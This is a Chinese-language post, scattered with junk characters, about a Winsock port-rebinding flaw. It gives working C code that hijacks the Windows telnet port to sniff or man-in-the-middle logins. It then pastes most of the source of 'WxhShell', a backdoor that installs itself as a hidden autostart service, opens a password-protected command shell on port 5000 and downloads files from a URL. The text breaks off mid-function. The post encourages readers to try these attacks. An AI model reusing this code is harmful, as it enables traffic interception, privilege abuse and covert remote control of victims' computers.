在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'P'f`;'_DC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,u.G6"< nulLK28q saddr.sin_family = AF_INET;
3UXaA; 7LotN6H
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^:hI bF4G NgI n\)
=0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Xg<R+o 7bk=D~/nSg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N$&)gI:
W"3YA+qpI 这意味着什么?意味着可以进行如下的攻击:
u7>{#] k`aHG8S\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RX])#=Cs PvHX#wJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I='6>+P 5`>%{ o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
cmcR@zv "+dByaY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-K%hug
1iLrKA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
e-E0Bp ~7;AV(\%e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[N=v=J9 8?l/x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yq6Gyoi< TmEJ!)* #include
] Hiw+5n #include
ja2BK\"1: #include
eN,6p'& #include
Ns2<wl- DWORD WINAPI ClientThread(LPVOID lpParam);
%+8"-u int main()
cPp<+ ts {
z79c30y]" WORD wVersionRequested;
j3t,Cx DWORD ret;
b
fj]Q WSADATA wsaData;
c9/&A BOOL val;
*xV SOCKADDR_IN saddr;
9YQYg@+R SOCKADDR_IN scaddr;
x?6
\C-i int err;
br3r!Vuz/- SOCKET s;
d,XNok{ SOCKET sc;
Z%4w{T+[ int caddsize;
07
E9[U[ HANDLE mt;
`fM]3]x> DWORD tid;
=zsA@UM0 wVersionRequested = MAKEWORD( 2, 2 );
]8o[&50y err = WSAStartup( wVersionRequested, &wsaData );
4
Q<c I2| if ( err != 0 ) {
nhImO@Q: printf("error!WSAStartup failed!\n");
o=)["V return -1;
#E;a;$p }
opIbs7k- saddr.sin_family = AF_INET;
38zG[c|X /w/um>>K. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
GNX`~%3KYc -qs
R,H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L "[>tY saddr.sin_port = htons(23);
3uy^o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L (@".{T {
BenUyv1d printf("error!socket failed!\n");
^&!iq K2o return -1;
[AN= G!r }
phP% val = TRUE;
oR@1/lV //SO_REUSEADDR选项就是可以实现端口重绑定的
o?`^
UG- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P
~rT uj {
dw YGhhm printf("error!setsockopt failed!\n");
u;Rm/. return -1;
E oh{+>:6 }
3R?6{. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*wl&Zzx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
XtftG7r9S //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pT<}n 9yB5 fqm-?vy} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
W8N__ {
W%P$$x5& ret=GetLastError();
20`QA
u)' printf("error!bind failed!\n");
(_n U}<y_i return -1;
8T"8C }
@$R^-_m listen(s,2);
#4Ltw,b^ while(1)
JWVn@)s {
/L;
c -^ caddsize = sizeof(scaddr);
'q7&MM'oS^ //接受连接请求
hwi$:[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!n`Y^ if(sc!=INVALID_SOCKET)
/|WBk} {
\:Z8"~G mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A&UGr971 if(mt==NULL)
kn= fW1 {
2'-o'z< printf("Thread Creat Failed!\n");
WKB
K)= break;
cIQe^C
}
3Bbd2[<W }
4;)aGN{e CloseHandle(mt);
Psw<9[ }
NxrfRhaU3 closesocket(s);
3Q2z+`x' WSACleanup();
TQ69O + return 0;
.9$
7
+ }
"W@>lf?" DWORD WINAPI ClientThread(LPVOID lpParam)
rtT*2k* {
ueLdjASJ SOCKET ss = (SOCKET)lpParam;
>vZ^D SOCKET sc;
KA{JSi unsigned char buf[4096];
u iR[V~ SOCKADDR_IN saddr;
zw}Wm4OH long num;
G~{#%i DWORD val;
SGUZ'} DWORD ret;
'"]QAj?N //如果是隐藏端口应用的话,可以在此处加一些判断
B
j z@X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{33B%5n" saddr.sin_family = AF_INET;
d6zfP1lQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
G%XjDxo$I saddr.sin_port = htons(23);
_KAg1Ww if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ftccga {
OYj~"-3y) printf("error!socket failed!\n");
_.+2sm return -1;
T3In0LQ }
A k+MREG val = 100;
[_1K1i"m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
li {
`Oe"s_O# ret = GetLastError();
*ulkqpO return -1;
;{Tf:j'g }
}HxC~J" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]?UK98uS\A {
JqP~2,T ret = GetLastError();
W+ v#m>G return -1;
U$EQeb }
]_mcJ/6: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{LqahO* {
MxLi'R= printf("error!socket connect failed!\n");
N6w!V]b closesocket(sc);
#iAw/a0& closesocket(ss);
2}kJN8\F return -1;
.M>g`UW }
!H4C5wDu while(1)
zTW)SX_O {
4C`p`AQqpQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UUDZ //如果是嗅探内容的话,可以再此处进行内容分析和记录
1aS66TS3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Vy@0Got5= num = recv(ss,buf,4096,0);
W7?f_E\>W if(num>0)
I2e@_[
1 send(sc,buf,num,0);
jI45X22j else if(num==0)
.aD=d\ break;
6&[rATU+ num = recv(sc,buf,4096,0);
7Lx=VX#]q if(num>0)
lzK,VZ=mM send(ss,buf,num,0);
C>Cb else if(num==0)
:z a:gs0 break;
;]Ko7M(4 }
;\rKkH"K8n closesocket(ss);
LHHDD\X closesocket(sc);
c-=z<:Kf return 0 ;
y aLc~K }
k*!f@ M ?~WDlj3 QRlrcauM ==========================================================
z~\Y*\f^Y3 5v5K}hx 下边附上一个代码,,WXhSHELL
mecm,xwm 5sguv^;C5 ==========================================================
^u$?& # 1wt(pkNk #include "stdafx.h"
>f-*D25f% qTrb)95 #include <stdio.h>
1Gh3o}z #include <string.h>
f/tJ>^N5 #include <windows.h>
J:G~9~V^ #include <winsock2.h>
'-vzQ d@y #include <winsvc.h>
<XH,kI(% #include <urlmon.h>
u8Oo@xf0Fr 9t_N9@ #pragma comment (lib, "Ws2_32.lib")
zi= gOm #pragma comment (lib, "urlmon.lib")
$-"V
2 F.@U
X{J #define MAX_USER 100 // 最大客户端连接数
%617f=(E?! #define BUF_SOCK 200 // sock buffer
"Is0:au+?} #define KEY_BUFF 255 // 输入 buffer
S|/Za".Gr /=~o|-n8@ #define REBOOT 0 // 重启
97MbyEE8J #define SHUTDOWN 1 // 关机
Iv51,0A `xie/ #define DEF_PORT 5000 // 监听端口
} .'\IR ?/FCq6o #define REG_LEN 16 // 注册表键长度
g<jgR*TE` #define SVC_LEN 80 // NT服务名长度
O`D,> =[ 92=huV // 从dll定义API
(cdtUE8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
taqmtXU=( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Jpr`E&%I6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"t:9jU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}TsND6Ws3 Is#w=s}2 // wxhshell配置信息
;}QM#5Xdt struct WSCFG {
ZmzYJ$:6 int ws_port; // 监听端口
2t1u{ char ws_passstr[REG_LEN]; // 口令
UwVc!Lys int ws_autoins; // 安装标记, 1=yes 0=no
W~2T/~M char ws_regname[REG_LEN]; // 注册表键名
prCr"y` M char ws_svcname[REG_LEN]; // 服务名
0qhSV B5 char ws_svcdisp[SVC_LEN]; // 服务显示名
ZFa<{J<2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
-|YDKcL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mxkv{;ad int ws_downexe; // 下载执行标记, 1=yes 0=no
-efB8)A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N!YjM x)P char ws_filenam[SVC_LEN]; // 下载后保存的文件名
oz#;7
?9 (#5TM1/A };
{5J: ]{p I'a&n}jx // default Wxhshell configuration
O+*<^*YyD struct WSCFG wscfg={DEF_PORT,
jb0LMl}/A "xuhuanlingzhe",
RAi]9` *7 1,
w5R?9"d@ "Wxhshell",
bZd)4 "Wxhshell",
:%kJ9zW "WxhShell Service",
kbKGGn4u "Wrsky Windows CmdShell Service",
X}RQ&k "Please Input Your Password: ",
8w L%(p 1,
8 rA'd "
http://www.wrsky.com/wxhshell.exe",
{aVL3QU "Wxhshell.exe"
k!=
jO#)Rd };
5#hsy;q;[ iqTGh*k // 消息定义模块
Z!SFJ{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
i5G"@4( char *msg_ws_prompt="\n\r? for help\n\r#>";
0="U'|J_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
T<S_C$O char *msg_ws_ext="\n\rExit.";
X+;{&Efrl char *msg_ws_end="\n\rQuit.";
^rIe"Kx char *msg_ws_boot="\n\rReboot...";
x>*#cOVz;C char *msg_ws_poff="\n\rShutdown...";
BY!M(X
jrZ char *msg_ws_down="\n\rSave to ";
~Lf>/w X9/]<Y<! char *msg_ws_err="\n\rErr!";
9w08)2$Na char *msg_ws_ok="\n\rOK!";
VKb'!Ystl 8V(-S, char ExeFile[MAX_PATH];
$<v{$UOh int nUser = 0;
R4q)FXW29 HANDLE handles[MAX_USER];
oH]"F int OsIsNt;
3*;S%1C^ |8s45g> SERVICE_STATUS serviceStatus;
\o=YsJ8U SERVICE_STATUS_HANDLE hServiceStatusHandle;
8 CN~o|uN #Ss lH // 函数声明
q:X&)f int Install(void);
3tAX4DnYrq int Uninstall(void);
MaQ`7U5 |e int DownloadFile(char *sURL, SOCKET wsh);
v''F\V ) int Boot(int flag);
5"o)^8!> void HideProc(void);
usz H1@g' int GetOsVer(void);
siK:?A@4D int Wxhshell(SOCKET wsl);
U?sio%`( void TalkWithClient(void *cs);
JtGBNz!" int CmdShell(SOCKET sock);
z4iZE*ZS int StartFromService(void);
~
$QNp#dq int StartWxhshell(LPSTR lpCmdLine);
HI*j6H?\ $ ";NS6 1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~LufHbr VOID WINAPI NTServiceHandler( DWORD fdwControl );
[7*$Sd 3Z-N*bhC // 数据结构和表定义
$S_G:}tna SERVICE_TABLE_ENTRY DispatchTable[] =
"Z70
jkW[ {
c>pbRUMH {wscfg.ws_svcname, NTServiceMain},
W^Z#_{ {NULL, NULL}
@A;Ouu( };
Bgy?k K2[ ,)](h+zl_6 // 自我安装
l
d@ B int Install(void)
]5`Y^hS_g {
.W1i3Z 6g char svExeFile[MAX_PATH];
-/z #?J\ HKEY key;
"[M k5tM strcpy(svExeFile,ExeFile);
Y*q_>kps" HMrl!;: // 如果是win9x系统,修改注册表设为自启动
f{j(H?5 if(!OsIsNt) {
:jUu_s} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_q/UDf1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6nP-IKL RegCloseKey(key);
3I%F,-r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@ - _lw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A:5B6Z RegCloseKey(key);
#mvOhu return 0;
,[t>N>10TH }
v#WD$9QWs }
T>\r}p }
R}VEq gq else {
Al 1BnFB *&A/0]w // 如果是NT以上系统,安装为系统服务
mw,\try SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,oS<9kC68 if (schSCManager!=0)
2\, h "W( {
lhRo+X#G SC_HANDLE schService = CreateService
w=MiJr#3^ (
Q@HW`@i schSCManager,
U{%N.4: wscfg.ws_svcname,
wdzZ41y1 wscfg.ws_svcdisp,
Y]-7T-*+t SERVICE_ALL_ACCESS,
+rcDA| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
U~1jmxE SERVICE_AUTO_START,
lIDGL05f' SERVICE_ERROR_NORMAL,
(iO8[ svExeFile,
9u2Mra NULL,
c[RkiV3 NULL,
_(.,<R5 NULL,
uxsfQ%3`# NULL,
)|SmB YV NULL
_}RzJKl@ );
=i:6&Y~VGq if (schService!=0)
J0Ik@ {
tP;^;nw CloseServiceHandle(schService);
UI}df<Ge CloseServiceHandle(schSCManager);
~|t7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^N`bA8 strcat(svExeFile,wscfg.ws_svcname);
ZlxJY%oeu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]pi8%.d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
X5`#da RegCloseKey(key);
c4AkH| return 0;
qJ8@A}}8 }
13v# }
~DJ>)pp CloseServiceHandle(schSCManager);
mx:) &1 }
d5z?QI }
S+7:fu2?+ Zz@0Oj!` return 1;
E"{2R>mU~ }
nC;2wQ6aO X;D"}X4(E // 自我卸载
"`''eV3 int Uninstall(void)
8p)*;Y {
RHOEyXhOA HKEY key;
RCvf@[y4 /Q8glLnM if(!OsIsNt) {
KNZN2N)wR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
` e~nn RegDeleteValue(key,wscfg.ws_regname);
]l.qp5eQ RegCloseKey(key);
t:?8I9d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gfW8s+ RegDeleteValue(key,wscfg.ws_regname);
{Hp*BE
RegCloseKey(key);
h;(#^+LH return 0;
M]JD( }
zLB7'7oP }
X\dPQwasM }
7Ne`F(c else {
8ezdU" Rl2*oOVz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
W@(EEMhw if (schSCManager!=0)
O%KP,q&}Y {
&&\HE7* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O=Cz*j if (schService!=0)
|re>YQ!zd {
RO?%0-6O& if(DeleteService(schService)!=0) {
zYW+Goz/C
CloseServiceHandle(schService);
r6#It$NU CloseServiceHandle(schSCManager);
6AW{qU6 return 0;
<,S5(pZ }
(4WAoye | CloseServiceHandle(schService);
ckWK+ }
_ 3l ci CloseServiceHandle(schSCManager);
tAM t7p- }
~H)s>6>#v }
\ $PB~-Z @D3Y}nR: return 1;
`- \J/I }
{+&qC\YF ('u\rc2R // 从指定url下载文件
{xGM_vH1 int DownloadFile(char *sURL, SOCKET wsh)
*b@YoQe3! {
{"([p L HRESULT hr;
IJ`%Zh{f char seps[]= "/";
scsN2#D7U/ char *token;
I!L`W
_ char *file;
_+vE(:T char myURL[MAX_PATH];
>5aZ?#TS1 char myFILE[MAX_PATH];
VW[!%< /4}B}"`Sl= strcpy(myURL,sURL);
mT7B#^H token=strtok(myURL,seps);
kX2bU$1Q,i while(token!=NULL)
i#lnSJ08 {
dV( "g], file=token;
0E5"}8 token=strtok(NULL,seps);
*88Q6=Mm }
aB N^J_ ~rN:4Q]/ GetCurrentDirectory(MAX_PATH,myFILE);
&`RD5uml strcat(myFILE, "\\");
Y$%z]i5 strcat(myFILE, file);
)M!6y%b67 send(wsh,myFILE,strlen(myFILE),0);
:U}. send(wsh,"...",3,0);
TBGN',, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_=wu>h&7 if(hr==S_OK)
B`)gXqBt return 0;
VJeoO)<j else
S{q c1qj return 1;
8{t^< j$n R@+%~"Z }
=u5a'bp0;; ;9+[t8Y)D // 系统电源模块
lD%Fk3 int Boot(int flag)
h
"MiD {
R8*z}xy{ HANDLE hToken;
i1OF@~? TOKEN_PRIVILEGES tkp;
7Ntt#C;]U OVo3. if(OsIsNt) {
_>G. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\%qzTk.&r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0I`)<o- tkp.PrivilegeCount = 1;
/oWn0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
eYN=? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/*zngp@ if(flag==REBOOT) {
v*.[O/,EBR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
JjXuy7XQ return 0;
3u)NkS= }
rY~!hZ else {
,#u"$Hz8p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
j>{Dbl:#2 return 0;
R7q\^Yzo }
vG{+}o# }
,u:J"epM else {
e6
R<V]g if(flag==REBOOT) {
!>,\KxnM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3?d o|> return 0;
[dQL6k";b }
kgq"b) else {
y.O% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
JZa^GW:YQh return 0;
rkF>c }
y*BS
%xTF }
?YeUA =[MC eWgqds return 1;
GQ@`qYLZ+ }
j.?c~Fh al<;*n{/ // win9x进程隐藏模块
ji|+E`Nii void HideProc(void)
_6tir'z {
o4%H/|Oq. /e2CB "c HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^n5rUwS> if ( hKernel != NULL )
nE2w? {
O ;34~k
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@%oHt*u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X6hp} FreeLibrary(hKernel);
Skbd'j }
Ke*tLnO 6D=9J%; return;
u%o]r9xl' }
,esryFRG K4G43P5q` // 获取操作系统版本
kE8\\}B7 int GetOsVer(void)
isG8S(}IW& {
Q1b<=, OSVERSIONINFO winfo;
.+@;gVZx1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
iFJ1}0<(x GetVersionEx(&winfo);
R/_bk7o]H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zF)&o} return 1;
69 >- else
/S9(rI<' return 0;
`/"rs@ }
17
k9h?s* ccdP}|9e // 客户端句柄模块
:Zs i5>MT int Wxhshell(SOCKET wsl)
tFi'RRZ {
yDE0qUO SOCKET wsh;
|#>:@{X< struct sockaddr_in client;
Xxz_h* DWORD myID;
>!U oS `GBa3 while(nUser<MAX_USER)
'4"9f]: {
`X:o]t@ int nSize=sizeof(client);
} xy>uT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
M2$.Yom[ if(wsh==INVALID_SOCKET) return 1;
\~(scz$ mSg{0_: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}Ai_peO0a if(handles[nUser]==0)
T"b'T>Y closesocket(wsh);
Q[wTV3d else
g5YDRL!Wh nUser++;
#80[q3 }
-lb,0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5}+&Em": yMd<<:Ap return 0;
I<``d Ne9Q }
9tMaOm ^%qe&Pe2 // 关闭 socket
:pp@x*uNP void CloseIt(SOCKET wsh)
PXx:JZsju {
&(Yv&jX closesocket(wsh);
SyB2A\A nUser--;
Fad.!%[ ExitThread(0);
J[k,S(Y }
MyJ\/` 8 Z]QpH<Z // 客户端请求句柄
'&;s32']} void TalkWithClient(void *cs)
n&n WY+GEo {
j6JK4{ '#oNOU SOCKET wsh=(SOCKET)cs;
Rs +), char pwd[SVC_LEN];
F%]ZyO9 char cmd[KEY_BUFF];
<TDp8t9bU char chr[1];
UqA<rW int i,j;
}MiEbLduN 7eR%zNDa while (nUser < MAX_USER) {
q;)+O#CR u alpm#GU if(wscfg.ws_passstr) {
;h-W&i7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,(@J Ntx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M SnRx*- //ZeroMemory(pwd,KEY_BUFF);
Zw`9B i=0;
\se
/2l while(i<SVC_LEN) {
MmbS["A Y6Mp[= // 设置超时
4pJ #fkc^ fd_set FdRead;
)&") J}@ struct timeval TimeOut;
`q$a
p$? FD_ZERO(&FdRead);
j1141md5 FD_SET(wsh,&FdRead);
:f/T$fa* TimeOut.tv_sec=8;
|c)hyw?[Y TimeOut.tv_usec=0;
:,@\q0j"= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
TOx >Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dc+U#]tS WSKubn?7B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@CUYl*.PD pwd
=chr[0]; e|e"lP
if(chr[0]==0xd || chr[0]==0xa) { kR
!O-@GJ]
pwd=0; 6/=0RTd
break; i[#XYX'\
} |b+ZKRW
i++; !!\x]$v
} 8{f~tPY
Gm.sl},
// 如果是非法用户,关闭 socket hRFm]q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u(Kof'p7
} Tp[-,3L
z#|tcHVFT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G &QG Q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /7CV7=^d,
EW~M,+?
while(1) { c]+uj q
/n3Qcht
ZeroMemory(cmd,KEY_BUFF); u= =`]\_@
}I3m8A
// 自动支持客户端 telnet标准 ; "K"S[
j=0; sq45fRAi
while(j<KEY_BUFF) { !K %8tr4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S11ME
cmd[j]=chr[0]; v[+ ]
if(chr[0]==0xa || chr[0]==0xd) { {S$61ut
cmd[j]=0; @r*w 84
break; 8-u #<D .
} @km@\w
j++; Klj -dz
} uf/4vz,
2CY4nSKW
// 下载文件 &~K4I
if(strstr(cmd,"http://")) { Errs6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); crbph.0
if(DownloadFile(cmd,wsh)) /=K(5Xd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&z^AV
else q\n,/#'i~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kc7,F2=F
} Q`m9I
else { xa[)fk$6
_C54l
switch(cmd[0]) { !Pc&Sg
Wi+}qO
// 帮助 F^Y%Q(Dd7w
case '?': { @QO^3%b8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hQ@E2 Xsv
break; .gclE~h.
} gski:C
// 安装 M 3&GO5<
case 'i': { 0CpE,gg
if(Install()) wec_=EqK0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rX}FhBl5
else vs%d}]v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _O3X;U7rc
break; ;u*I#)7
} %:!ILN
// 卸载 <;lwvO
case 'r': { [C`LKA$t
if(Uninstall()) <]f{X<ef
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cw/E?0MWb
else +'0V6\y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;wa#m1
break; VD~
%6AjyN
} r7jh)Q;BbR
// 显示 wxhshell 所在路径 GCj[ySCD
case 'p': { Gq]/6igzX
char svExeFile[MAX_PATH]; :ggXVwpe
strcpy(svExeFile,"\n\r"); .(%]RSBY
strcat(svExeFile,ExeFile); | r,{# EE
send(wsh,svExeFile,strlen(svExeFile),0); D%*Ryg
break; -A^o5s
} jRN>^Ur;g
// 重启 f=IF_|@^S
case 'b': { ):]5WHYg
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vyvb-oz;u
if(Boot(REBOOT)) L]*5cH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G$[Hm\V
else { gx.\&W b
closesocket(wsh); Yq>K1E|
ExitThread(0); |)y-EBZe\"
} KP)t,\@f!
break; %z6_ ,|%
} m Eg3.|
// 关机 O>eg_K,c
case 'd': { jct'B}@X(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J-z<&9
if(Boot(SHUTDOWN)) DEW;0ic
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%:Z&lgy
else { %uz6iQaq]X
closesocket(wsh); 9I [k3
ExitThread(0); rV
fZ_\|
} {8"Uxj_6V
break; 8[H bg
} :;jRAjq"
// 获取shell i8A-h6E
case 's': { ;]l`Q,*OXb
CmdShell(wsh); TDX~?>P
closesocket(wsh); +45.fo
ExitThread(0); '?Xf(6o1
break; ^fj30gw7\5
} A_Y5{6@
// 退出 Oe21noL
case 'x': { `Y3\R#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O4cBn{Dq9
CloseIt(wsh); sD$K<nyz
break; ~U4Cf >
} Pa'N)s<
// 离开 SmUiH9qNd,
case 'q': { QYEGiT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?-'GbOr!
closesocket(wsh); <m,bP
c :R
WSACleanup(); =\M6s
exit(1); v0( _4U]/
break; 2O}X-/H
} 0j2mTF(C
} [QIQpBL
} m^ /s}WEqp
JfRLqA/
// 提示信息 ?DE{4Ti/[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
akG|ic-~
} n}C0gt-
}
i (`Q{l
IEe;ygL#
return; Ya}}a
} a@-bw4SD
T^ - - :1
// shell模块句柄 ,<$rSvMfg
int CmdShell(SOCKET sock) IP^1ca#<
{ 5cb8=W-
STARTUPINFO si; b3ys"Vyn
ZeroMemory(&si,sizeof(si)); U,8mYv2|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BKV:U\QZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !AGoI7W}
PROCESS_INFORMATION ProcessInfo; Q$Rp?o&
char cmdline[]="cmd"; :o:Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1.5R`vKn]
return 0; o(C;;C(*{
} ,ZVhL* "
L)
UCVm
// 自身启动模式 !DD4Bqez
int StartFromService(void) w,j;XPp
{ y(O~=S+<
typedef struct )2
b-3lz
{ vGOO"r(xL
DWORD ExitStatus; nUK;M[
DWORD PebBaseAddress; iu$Y0.H@
DWORD AffinityMask; &x$ps
DWORD BasePriority; (w vU;u
ULONG UniqueProcessId; {"*_++|
ULONG InheritedFromUniqueProcessId; 4>/i,_&K K
